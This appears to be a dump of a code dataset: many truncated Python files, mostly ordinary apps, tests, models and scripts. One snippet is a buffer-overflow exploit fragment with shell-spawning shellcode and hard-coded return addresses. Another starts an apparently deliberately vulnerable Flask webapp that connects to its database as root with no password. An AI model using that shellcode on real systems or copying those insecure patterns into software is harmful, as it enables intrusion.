content
stringlengths
5
1.05M
from datetime import timedelta from flask import current_app, request DEFAULT_DM_COOKIE_PROBE_COOKIE_NAME = "dm_cookie_probe" DEFAULT_DM_COOKIE_PROBE_COOKIE_VALUE = "yum" DEFAULT_DM_COOKIE_PROBE_COOKIE_MAX_AGE = timedelta(days=365).total_seconds() DEFAULT_DM_COOKIE_PROBE_EXPECT_PRESENT = False def init_app(app): ...
import pytest from src.freq_query import freq_query cases = [ ([(1, 1), (2, 2), (3, 2), (1, 1), (1, 1), (2, 1), (3, 2)], [0, 1]), ([(3, 4), (2, 1003), (1, 16), (3, 1)], [0, 1]), ] @pytest.mark.parametrize("queries, expected", cases) def test(queries, expected): result = freq_query(queries) assert re...
"""Support for Google Calendar Search binary sensors.""" from __future__ import annotations import copy from datetime import date, datetime, timedelta import logging from typing import Any from httplib2 import ServerNotFoundError from homeassistant.components.calendar import ( ENTITY_ID_FORMAT, CalendarEntit...
import csv with open('CSVdata.csv') as CSVFile: read = csv.reader(CSVFile,delimiter = ',') dates = [] colors = [] for row in read: print(row) date = row[0] color = row[1] dates.append(row[0]) colors.append(row[1]) print(dates) print(colors)
import sys import numpy as np sys.path.append("./dataset") sys.path.append('./dnn') sys.path.append("./shared") import neural_network as nn def test_main_or_with_dropout(): datasetsize = 8 batchsize = 4 td_num = 2 tl_num = 2 # set data trainData = np.ones([datasetsize, batchsize, td_num]) ...
# coding: utf-8 from typing import TypeVar, Generic import typing from functools import singledispatch, lru_cache from collections import abc as collections_abc from typing_inspect import get_args from .compat import ( get_generic_origin, get_generic_params, get_generic_bases, typing_bases, generics...
from django.contrib.sites import requests import pymongo from bson import ObjectId from django.http import HttpResponse, JsonResponse import json from django.conf import settings import jwt import datetime from passlib.apps import custom_app_context as pwd_context from rest_framework.decorators import api_view from We...
from django.db import models # Create your models here. # (Flight, Speed, Invisibility, Telekenetic, Healing, Other) # # (Good, kinda good, neutral, a little evil, evil) # power choices for a dropdown Power_Choices = \ ( ('flight','Flight'), ('speed','Speed'), ('invisibility','Invisibilit...
""" Runner script to train a simple lstm sentence classifier, using best rouge score for a sentence in the article compared to each sentence in the summary as the y labels. Should I create labels with rouge or with n sentences selected based on highes score. """ import time from absl import app, flags import logging ...
#!/usr/bin/env python3 from heyvector import db from datetime import datetime class Repository(db.Model): __table_args__ = ( db.UniqueConstraint('name', 'owner', name='unique_owner_repo'), ) id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(100), nullable=False) own...
from flask.testing import FlaskClient from sqlite3 import Connection def test_get_user_data(client: FlaskClient) -> None: test_login = "TestUser" client.post( "/api/user", json={"login": test_login, "password": "hiadihdai"}, ) response = client.get(f"/api/user/{test_login}") assert...
class BuildError(Exception): """Defines an error during the process, this doesn't mean anything failed but instead that either a precondition failed or a pre-build item.""" class BuildFailure(Exception): """Defines a failure in a build step,"""
def test_is_contract(t, get_contract_with_gas_estimation): contract_1 = """ @public def foo(arg1: address) -> bool: result: bool = arg1.is_contract return result """ contract_2 = """ @public def foo(arg1: address) -> bool: return arg1.is_contract """ c1 = get_contract_with_gas_estimation(contra...
import uuid from fhirclient.models import ( observation as obx, meta as ma, fhirreference as fr, fhirdate as fd, ) from app import ( Coding, CodeableConcept, Identifier, Quantity, Component ) # generic FHIR Observation class class Observation: def __init__(self, resourceId, p...
import maya.mel as mel import maya.cmds as cmds from functools import wraps # ----------------------------------------------------------------------------- # Decorators # ----------------------------------------------------------------------------- def viewportOff(func): """ Decorator - turn off Maya display...
# flake8: noqa MODEL_METADATA = { '20180402-114759': { 'zip_url': 'https://github.com/faustomorales/keras-facenet/releases/download/v0.3.1/20180402-114759.zip', 'zip_local_name': '20180402-114759.zip', 'zip_sha256': '669f37d3954b72b53121ff0638ca5bb8b14309bfe4767fe6bd851eee75f1f0de', ...
import os import logging from kubeflow_jupyter.default.app import app as default from kubeflow_jupyter.rok.app import app as rok logger = logging.getLogger("entrypoint") ui = os.environ.get("UI", "default") apps = { 'default': default, 'rok': rok } try: apps[ui].run(host="0.0.0.0") except KeyError: lo...
""" File: centered_diff.py Exercise 3.18 Copyright (c) 2016 Andrew Malfavon License: MIT Approximate differentiation. """ import math def diff(f, x, h=1.0E-5): df = (f(x+h) - f(x-h)) / (2*h) return df def func_one(x): return x**2 def func_two(x): return math.exp(x) def func_three(x): return mat...
'''File containing helper functions for details about kernel evaluations, and evaluating mmd for a given kernel and two target distributions ''' import numpy as np import numpy.random as npr import numpy.linalg as npl import os import pickle as pkl from scipy.stats import multivariate_normal from scipy.special import...
from flask import ( Blueprint, redirect, render_template, request, session, url_for, ) from flask_login import current_user, login_required from flask_wtf import FlaskForm from wtforms import StringField from wtforms.validators import InputRequired, Length from unichess.ext.socket import socket...
# -*- coding: utf-8 -*- import pytest GOLDEN_IT_RULES_TEST_CASES = [ ("Salve Sig.ra Mengoni! Come sta oggi?", ["Salve Sig.ra Mengoni!", "Come sta oggi?"]), ("Una lettera si può iniziare in questo modo «Il/la sottoscritto/a.».", ["Una lettera si può iniziare in questo modo «Il/la sottoscritto/a.»."]), ("La casa costa...
from .database import Database from .mark_list import MarkLists from .marks import Marks from .subscribe import Subscriptions from .users import Users
from qbay.models import db, User, Product, Session from validate_email import validate_email from uuid import uuid4 import datetime as dt import hashlib import json import re ''' This file defines functions to interface with the data models ''' def login(email, password, ip): ''' Check login information ...
import numpy as np import pytest import ezaero.vlm.steady as vlm_steady INFINITE_WING = { 'wing': vlm_steady.WingParams(cr=1.0, ct=1.0, bp=10000, theta=0.0, delta=0.0), 'mesh': vlm_steady.MeshParams(m=2, n=400) } @pytest.mark.parametrize('alpha', np.array((-2, -1, 0, 1, 2, ...
# @Author:lsj # @version V1.0 # -*- coding:UTF-8 -*- from appium import webdriver import time caps={} caps['platformName'] = 'Android' # 平台名称 caps['platformVersion'] = '5.1.1' # 设备系统版本号 caps['deviceName'] = '127.0.0.1:62001' # 设备名称(可以随意写取adb devices连接的第一台设备) caps['appPackage'] = 'com.youba.calculate' # 包名 adb shel...
from os import path import math import json import numpy as np from keras.utils import Sequence CONFIG_PATH = path.join(path.dirname(path.realpath(__file__)), "intents", "config") class Dataset(): def __init__(self, schema_path, name): self.path = schema_path self.name = name with open...
from django.urls import path from .views import ( imageListView, imageDetailView, imageForm, imageFilterView, rotateRight, rotateLeft ) from django.conf.urls.static import static from django.conf import settings urlpatterns = [ path('', imageListView.as_view(),name='home'), path('image/<int:pk>', imageDetailVi...
from registration import admin from registration.backends.default import urls def test(): assert admin assert urls
import pandas as pd import os import sys import numpy as np import matplotlib.pyplot as plt import seaborn as sns import missingno as msno general_directory = os.path.split(os.getcwd())[0] data_location = os.path.join(general_directory, "data") dataset = "trainingsetvalues" +".csv" datasetlabels = "trainingsetla...
from django.test.client import Client from openslides.assignment.models import Assignment, AssignmentPoll from openslides.config.api import config from openslides.participant.models import Group, User from openslides.utils.test import TestCase class AssignmentViewTestCase(TestCase): def setUp(self): # Ad...
from OpenGLCffi.GL import params @params(api='gl', prms=['texture']) def glActiveTextureARB(texture): pass @params(api='gl', prms=['texture']) def glClientActiveTextureARB(texture): pass @params(api='gl', prms=['target', 's']) def glMultiTexCoord1dARB(target, s): pass @params(api='gl', prms=['target', 'v']) de...
from setuptools import setup with open("README.md", "r") as fh: readme = fh.read() setup(name='cov19', version='0.0.9', url='https://github.com/emdemor/cov19', license='MIT License', author='Eduardo M. de Morais', long_description=readme, long_description_content_type="text/markdown", ...
from os import environ from flask import Flask from flask_sqlalchemy import SQLAlchemy app = Flask(__name__) DBUSER = 'postgres' DBPASS = 'postgres' DBHOST = environ.get('DB_HOST', 'localhost') DBPORT = '5432' DBNAME = 'local-leader' DBDRIVER = '+psycopg2' DB_URI = f'postgresql{DBDRIVER}://{DBUSER}:{DB...
""" LeetCode Problem: 997. Find the Town Judge Link: https://leetcode.com/problems/find-the-town-judge/ Language: Python Written by: Mostofa Adib Shakib """ """ Observations: 1) If everyone knows person A and person A doesn't know anyone then person A is a judge. 2) If the town has no population then the judge cannot...
# Generated by Django 3.0.10 on 2020-10-04 14:52 from django.db import migrations, models import django.utils.timezone class Migration(migrations.Migration): dependencies = [ ('users', '0001_initial'), ] operations = [ migrations.AlterModelOptions( name='user', o...
#!/usr/bin/env python # Threads for concurrency threads=10 # Proteogenomics translation_table=11 # Specify the full path to the maxquant output 'txt' file mq_txt='/researchdata/fhgfs/ptgmat003/blackburn/hypohyper/mq/HH_PROTEOGENOMICS/17_SIX_FRAME_3_missed/combined/txt/' # Specify the reference genome to be used to...
import math from matrix import Matrix from tabulate import tabulate import random class TargetFunction: """Function class used for optimization, counts calls and saves calculated results """ def __init__(self, f): self.f = f self.results = {} self.no_calls = 0 def __call__(se...
# -*- coding: utf-8 -*- """ Created on Mon Jun 22 09:44:18 2015 @author: student """ out=open('conf.txt', 'w') for i in xrange(1,313): out.write('0\n') out.close()
from aiogram.dispatcher.filters.state import State from states.base.choose_group import ChooseGroupStates class EditGroupStates(ChooseGroupStates): create = State() edit = State()
"""Process descriptor.""" import collections import re # Processor type validation regexp. PROCESSOR_TYPE_RE = re.compile(r"^data:[a-z0-9:]+$") class SchedulingClass: """Process scheduling class.""" INTERACTIVE = "interactive" BATCH = "batch" class Persistence: """Process data persistance.""" ...
import math from cachetools import TTLCache TTL_CACHE = TTLCache(maxsize=0, ttl=0) def configure(app): relay_polling_interval = app.config.get('REALY_POLL_INT', 10) global TTL_CACHE TTL_CACHE = TTLCache( maxsize=256, ttl=math.floor(relay_polling_interval * 0.85)) return app
from rest_framework import serializers from .models import Hotel class HotelMiniSerializer(serializers.ModelSerializer): class Meta: model = Hotel fields = ['id', 'name'] class HotelSerializer(serializers.ModelSerializer): class Meta: model = Hotel fields = '__all__'
from . import website_sale_clear_cart
import collections import copy import json import os import time import torch import yaml import itertools import numpy as np def save_checkpoint(state, checkpoint_dir="checkpoints/", name=None): if name: filename = os.path.join(checkpoint_dir, "checkpoint_%s.pt" %name) else: filename = os.path...
from matching import ContinuousMatch from matching import StaticContinuousMatch from matching import Side from matching import Order import cProfile def one_sweep(): # m = ContinuousMatch() m = StaticContinuousMatch(floor_price=10000, ceil_price=30000, price_step=1) base_price = 10000 order_count = 20...
from time import sleep import pprint as pp import csv from selenium import webdriver from selenium.webdriver.common.keys import Keys from parsel import Selector import parameters _DRIVER_CHROME = None # Instaniate webdriver using path to chromedriver _DRIVER_CHROME = webdriver.Chrome(parameters.google_chrome_driv...
from multiprocessing.managers import SyncManager, ListProxy class Connection(SyncManager): def __init__(self, address): self.register("get_messages", proxytype=ListProxy) super().__init__(address=address, authkey=b'mychatsecret') self.connect() def broadcast(self, message): me...
from testbase import PersistTest, AssertMixin, ORMTest import unittest, sys, os from sqlalchemy import * import StringIO import testbase from tables import * import tables """test cyclical mapper relationships. Many of the assertions are provided via running with postgres, which is strict about foreign keys. we mig...
from django.urls import path from . import views urlpatterns = [ path('emailSuccess',views.getEmail, name="email") ]
def enum(**enums): '''From http://stackoverflow.com/a/1695250''' return type('Enum', (), enums) def is_iterable(o): try: iter(o) except TypeError: return False else: return True
from keystone_cadf_logger.cli import * # noqa
#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright(c) 2021 The MITRE Corporation. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # # You may obtain a copy of the License at: # http://www.apache.org/lice...
# -*- coding: utf-8 -*- import os import matplotlib.pyplot as plt import numpy as np import chainer from chainer import cuda, Variable, optimizers import chainer.functions as F import chainer.links as L from chainer import Link, Chain, ChainList from chainer import serializers import sys import csv import time import ...
import matplotlib.pyplot as plt from matplotlib.gridspec import GridSpec def make_ticklabels_invisible(fig): for i, ax in enumerate(fig.axes): ax.text(0.5, 0.5, "ax%d" % (i+1), va="center", ha="center") for tl in ax.get_xticklabels() + ax.get_yticklabels(): tl.set_visible(False) plt....
# -*- coding: utf-8 -*- # Copyright (c) 2010-11 Walter Bender, Martin Langhoff # License: GPLv2 # Defines the magic global _() with the right params so all modules # can use it. # # Plugins that want to override MUST use a different technique. See # the developer notes in the TA wikipage. # import gettext import os #...
buf = "\x31\xc0\xb0\x30"+"\x01\xc4\x30\xc0"+"\x50\x68\x2f\x2f"+"\x73\x68\x68\x2f"+"\x62\x69\x6e\x89"+"\xe3\x89\xc1\xb0"+"\xb0\xc0\xe8\x04"+"\xcd\x80\xc0\xe8"+"\x03\xcd\x80" float = "\xa5\x31\x5a\x47\x55\x15\x50\x40" buf_size = len(buf) ebp = '\xe8\xf9\xff\xbf' #ret_addr = '\xd8\xf8\xff\xbf' ret_addr = '\xc8\xd8\xff\xf...
# -*- coding: utf-8 -*- import mdb from unittest import TestCase class TestDB(TestCase): def setUp(self): import os import errno self.path = './testdbm' try: os.makedirs(self.path) except OSError as e: if e.errno == errno.EEXIST and os.path.isdir(se...
import datetime import flask import random import os app = flask.Flask(__name__) run_path = os.getcwd() @app.route("/current-status") def current_status(): global run_path imgs = ["blue.gif", "green.gif", "red.gif", "white.gif"] img_no = random.randrange(0,4) print(f"Image: {imgs[img_no]}") f = ...
""" .. See the NOTICE file distributed with this work for additional information regarding copyright ownership. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache....
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Tue Aug 28 08:32:24 2018 @author: mcsoini """ import numpy as np import pandas as pd def get_example_data_100(): # % Example charging/discharging profiles x = np.arange(100) def add_peaks(peaks, threshold=0.1): cd = np.array([0.] * l...
# ============================================================================ # # Abgabe Projektarbeit Einführung ins Programmieren mit Python # Namen # Michael Bierschneider, Mat.Nr. 1652774 # - benötige Note für dieses Projekt from typing import * import sys import pygame import random from src.bot import B...
from datetime import datetime, timedelta from typing import Optional from koda import Result, Ok from nomaj.fk.auth.codecs.codec import Codec from nomaj.fk.auth.identity import Identity, ANONYMOUS, is_anon from nomaj.fk.auth.ps import Pass from nomaj.misc.cookies import cookies_of from nomaj.misc.expires import Date ...
import torch import torch.nn as nn import torch.nn.functional as F class Net(nn.Module): def __init__(self): super(Net, self).__init__() self.conv1 = nn.Conv2d(1, 80, kernel_size=5) self.conv2 = nn.Conv2d(80, 80, kernel_size=5) self.pool1 = nn.MaxPool2d(kernel_size=2, stride=2, p...
# Generated by Django 3.1.2 on 2020-11-05 17:37 from django.db import migrations def convert_null_to_empty(apps, schema_editor): WTOProfile = apps.get_model("wto", "WTOProfile") HistoricalWTOProfile = apps.get_model("wto", "HistoricalWTOProfile") WTOProfile.objects.filter(member_states__isnull=True).upd...
from base_asset import BaseAsset class FXAsset(BaseAsset): def __init__(self): super(FXAsset, self).__init__(self)
from os import path from setuptools import setup import subprocess repo_url = "https://github.com/emcniece/bchydro" # Fetch latest tag from Github cmd = f"git -c 'versionsort.suffix=-' ls-remote --tags --sort='v:refname' {repo_url} | tail -n 1 | cut -d'/' -f3-" ps = subprocess.Popen(cmd, shell=True, stdout=subprocess...
import os from hardware.Utils.utils import ( get_logger, get_sensor_keys, date_str_with_current_timezone, ) # Conditional import for sense hat and emulator try: if not os.environ.get("EMULATE_SENSE_HAT"): from sense_hat import SenseHat else: raise ImportError("Import emulator") exce...
import os, sys import unittest from attrdict.mixins import Attr from kamaboko.PolalityDict import PolalityDict from cli import install, delete as delete_dic from attrdict import AttrDict class PolalityDictTest(unittest.TestCase): @staticmethod def setUpClass(): install_opt = AttrDict({ "...
from flask import Flask, url_for from flask import render_template import os app = Flask(__name__) person = { 'first_name': 'Nohossat', 'last_name' : 'TRAORE', 'address' : '9 rue Léon Giraud · PARIS · FRANCE', 'job': 'Web developer', 'tel': '0678282923', 'email': 'nohossat.tra@yahoo.com', ...
from datetime import timedelta from decimal import Decimal import pytest from django.utils import timezone from prices import Money, TaxedMoney from ...checkout.fetch import fetch_checkout_info, fetch_checkout_lines from ...checkout.utils import get_voucher_discount_for_checkout from ...plugins.manager import get_plu...
""" In DNA strings, symbols 'A' and 'T' are complements of each other, as are 'C' and 'G'. The reverse complement of a DNA string s is the string sc formed by reversing the symbols of s, then taking the complement of each symbol (e.g., the reverse complement of "GTCA" is "TGAC"). Given: A DNA string s of length at most...
from typing import Optional, Union from requests import Session from urllib.parse import urljoin class IPFabric(Session): def __init__(self, base_url: str, token: str, verify: bool = True, api_version: str = "v1", limit: int = 10000): """ Initiate IPFabric session :param base_url: str: ht...
# -*- coding: utf-8 -*- """ Tensorflow helper functionality Partially from: https://github.com/openai/iaf/blob/master/tf_utils/common.py Copyright (c) 2016 openai """ import tensorflow as tf import numpy as np def anneal_linear(t, n, e_final,e_init=1): ''' Linear anneals between e_init and e_final ''' if t >=...
#!/usr/bin/env python """ module with functions to enable logging """ import time,os,re,csv,sys,uuid,joblib from datetime import date if not os.path.exists(os.path.join(".","logs")): os.mkdir("logs") def update_train_log(tag,period,rmse,runtime,MODEL_VERSION,MODEL_VERSION_NOTE,test=False): """ update tra...
import ast from collections import namedtuple from .astunparser import Unparser SrcASTToken = namedtuple("SrcASTToken", "text type") def separate_list(ast, max_len): """ Handles training / evaluation on long ASTs by splitting them into smaller ASTs of length max_len, with a sliding window of max_len...
import os import operator import json import torch from ..trainer_state import TrainerState from ..utils import metrics_to_nice_string from ..supervised_evaluator import run_supervised_metrics from .abstract_callback import AbstractCallback from .tensorboardx_callback import TensorBoardXCallback from .mlflow_callback...
#------------------------------------------------------------------ # Licensed under The Apache-2.0 License [see LICENSE for details] # Inference module for performing detection and proposal extraction # Written by Mahyar Najibi # ----------------------------------------------------------------- import numpy as np from...
#!/usr/bin/env python from assignment8 import StressStrainConverter import numpy as np import scipy.integrate from PyTrilinos import Epetra class EpetraParallelToughness(StressStrainConverter): def __init__(self, filename, comm): super().__init__(filename) self.comm = comm self.rank = co...
# Copyright 2021 VMware, Inc. # SPDX-License-Identifier: Apache-2.0 from vdk.api.plugin.hook_markers import hookimpl """ Include the plugin hooks here. For example: from vdk.internal.core.context import CoreContext @hookimpl def vdk_initialize(context: CoreContext): pass """
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import migrations, models import django.core.validators class Migration(migrations.Migration): dependencies = [ ('users', '0012_auto_20170131_1039'), ] operations = [ migrations.AddField( model_na...
import models import endpoints
import csv from datetime import datetime import matplotlib.pyplot as plt def get_data_from_file(file_path,highs, lows, dates): with open(file_path) as f: reader = csv.reader(f) header_row = next(reader) date_index = header_row.index('DATE') tmax_index = header_row.index('TMAX') ...
import ravop.core as R class Node: def __init__(self, predicted_class, depth=None): self.predicted_class = predicted_class self.feature_index = 0 self.threshold = 0 self.left = None self.right = None self.leftbranch = False self.rightbranch = False ...
"""Evaluation for DCASE 2019 Task 2 Baseline models.""" from __future__ import print_function import csv from collections import defaultdict import itertools import os import random import re import sys import time import numpy as np import sklearn.metrics import tensorflow as tf import inputs import model class L...
from builtins import str try: import zmq.green as zmq except ImportError: zmq = None import vaping import vaping.plugins @vaping.plugin.register('zeromq') class ZeroMQ(vaping.plugins.EmitBase): """ plugin to emit messages via zeromq """ def __init__(self, config, ctx): super(ZeroMQ,...
# -*- coding: utf-8 -*- """ Hypatia interface module. Contains the Model class with all the methods needed to create,solve and save the results of a hypatia model. """ from cvxpy import installed_solvers from hypatia.error_log.Exceptions import ( WrongInputMode, DataNotImported, ResultOverWrite, SolverN...
import os.path import sys TOOL_ROOT = os.path.abspath( os.path.dirname( # c-analyzer/ os.path.dirname(__file__))) # cpython/ DATA_DIR = TOOL_ROOT REPO_ROOT = ( os.path.dirname( # .. os.path.dirname(TOOL_ROOT))) # Tools/ INCLUDE_DIRS = [os.path.join(REPO_ROOT, name) for nam...
from spotlight import errors as err from spotlight.tests.validator_test import ValidatorTest class IntegerTest(ValidatorTest): def setUp(self): self.field = "test" self.integer_error = err.INTEGER_ERROR.format(field=self.field) def test_integer_rule_with_string_expect_error(self): rul...
def calculator(a,b,sel): print(str((a + b) if (sel == 1) else ((a - b) if (sel == 2) else((a * b) if (sel == 3) else ((a / b) if (sel==4) else 0))))) sel = int(input('Enter your choice ')) a = int(input('Enter your 1st number ')) b = int(input('Enter your 2nd number ')) calculator(a,b,sel)
from fpdf import fpdf, FPDF from datetime import date import os fpdf.set_global("SYSTEM_TTFONTS", os.path.join(os.getcwd(), 'fonts')) def pdf_gen(search_term, lines): # Date and term concatenation today = str(date.today()) today_edit = date.today().strftime('%d/%B/%Y') term = search_...
import pytest from supriya.patterns import SequencePattern from supriya.patterns.testutils import run_pattern_test @pytest.mark.parametrize( "stop_at, sequence, iterations, expected, is_infinite", [ (None, [1, 2, 3], None, [1, 2, 3], True), (None, [1, 2, 3], 1, [1, 2, 3], False), (Non...
import argparse import cv2 import json import math import numpy as np # from pycocotools.coco import COCO # from pycocotools.cocoeval import COCOeval import torch # from datasets.coco import CocoValDataset from pose2d_models.with_mobilenet import PoseEstimationWithMobileNet from modules.keypoints import extract_keypo...
""" Classes for prior objects: Continuous ---------- Beta HalfCauchy Normal DiscreteOrdinal --------------- TBD DiscreteNonOrdinal ------------------ TBD """ from abc import ABC, abstractmethod import numpy as np from scipy.stats import beta as beta_dist, halfcauchy, norm, gaussian_kde, \ un...
from pprint import pprint import requests from bs4 import BeautifulSoup URL = "http://insidertrading.org/" def get_page(): html = requests.get(URL).text return html def get_records(): data = [] html = get_page() soup = BeautifulSoup(html, 'html.parser') table = soup.find('table', attrs...
#!/usr/bin/env python3 import unittest from max_consecutive import max_consecutive class Test_max_consecutive(unittest.TestCase): def test_max_consecutive(self): self.asserEqual(max_consecutive([9, 6, 6, 3, 3, 5, 5, 5, 5, 5, 5]), 6) if __name__ == "__main__": unittest.main()
""" The Sims 4 Community Library is licensed under the Creative Commons Attribution 4.0 International public license (CC BY 4.0). https://creativecommons.org/licenses/by/4.0/ https://creativecommons.org/licenses/by/4.0/legalcode Copyright (c) COLONOLNUTTY """ from sims4communitylib.events.event_handling.common_event i...
from discord.ext import commands from datetime import datetime from utils.customerrors import AlreadyScraping class Scraper: def __init__(self, bot): self.bot = bot assert isinstance(bot, commands.Bot) self.scraping = False async def start_scrape(self): """Scrape all channels i...
from setuptools import setup def readme(): with open('README.md') as f: README = f.read() return README setup( name = "tensor-dash", version = "1.8", description = "A python package that lets you remotely monitor your deep learning training metrics through it's companion app.", long_...
from flask import abort, Flask, render_template, request, redirect, session, url_for app = Flask(__name__) app.secret_key = 'this_isnt_actually_secret' import mysql.connector from mysql.connector import pooling db_config = { 'database': 'vulnerable_webapp', 'user': 'root', 'password': '', 'host': '12...
import json import pandas as pd import numpy as np import keras from keras.models import Model from keras.layers import add,Input,Conv1D,Activation,Flatten,Dense,GlobalAveragePooling1D with open('./data/bgl_semantic_vec.json') as f: # Step1-1 open file gdp_list = json.load(f) value = list(gdp_list.values(...